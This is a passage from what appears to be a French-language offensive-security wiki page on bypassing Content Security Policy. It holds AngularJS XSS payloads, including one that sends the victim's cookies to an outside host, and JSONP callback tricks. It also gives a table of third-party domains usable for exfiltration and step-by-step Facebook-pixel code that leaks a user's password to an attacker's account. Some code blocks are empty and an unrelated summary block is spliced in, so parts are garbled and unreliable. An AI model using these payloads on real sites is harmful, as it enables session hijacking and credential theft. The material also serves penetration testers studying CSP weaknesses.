{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
### Points de terminaison tiers + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner la CSP de différents sites web.**
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance.
### Abus de tiers
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont :
| Entité | Domaine Autorisé | Capacités |
|--------|------------------|------------|
| Facebook | www.facebook.com, *.facebook.com | Exfil |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il est probable que vous puissiez contourner la CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
Par exemple, si vous trouvez la CSP suivante :
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
```markdown
## Contournement de la stratégie de sécurité du contenu (CSP)
Lorsqu'un site Web met en œuvre une stratégie de sécurité du contenu (CSP) pour limiter les types de contenu exécutables sur une page Web, il est possible de contourner ces restrictions en exploitant des vulnérabilités spécifiques.
### Contournement de CSP via les directives `unsafe-inline` et `unsafe-eval`
Les directives `unsafe-inline` et `unsafe-eval` dans une CSP permettent respectivement l'exécution de scripts en ligne et l'évaluation de code JavaScript à partir de chaînes. Ces directives peuvent être exploitées pour contourner la CSP en injectant du code malveillant directement dans le contenu autorisé.
### Contournement de CSP via les attaques de type XSS
Les attaques de type XSS (Cross-Site Scripting) peuvent également être utilisées pour contourner une CSP en injectant du code JavaScript malveillant dans une page Web. En exploitant des failles XSS, un attaquant peut contourner les restrictions de la CSP et exécuter du code arbitraire sur le site ciblé.
Il est essentiel pour les développeurs de sites Web de comprendre ces techniques de contournement de CSP et de mettre en œuvre des mesures de sécurité appropriées pour protéger leurs applications contre de telles attaques.
```
```
Content-Security-Policy: connect-src www.facebook.com;
```
Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
1. Créez un compte développeur Facebook ici.
1. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
1. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
1. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
1. Allez dans votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
1. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers le compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme ceci :
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Contournement via RPO (Relative Path Overwrite)
En plus de la redirection mentionnée précédemment pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il peut être contourné de la manière suivante:
```html
```
Le navigateur chargera finalement `https://example.com/scripts/angular/angular.js`.
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Exécution de JS dans les iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### manquant **base-uri**
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `
ng-app"ng-csp ng-click=$event.view.alert(1337)>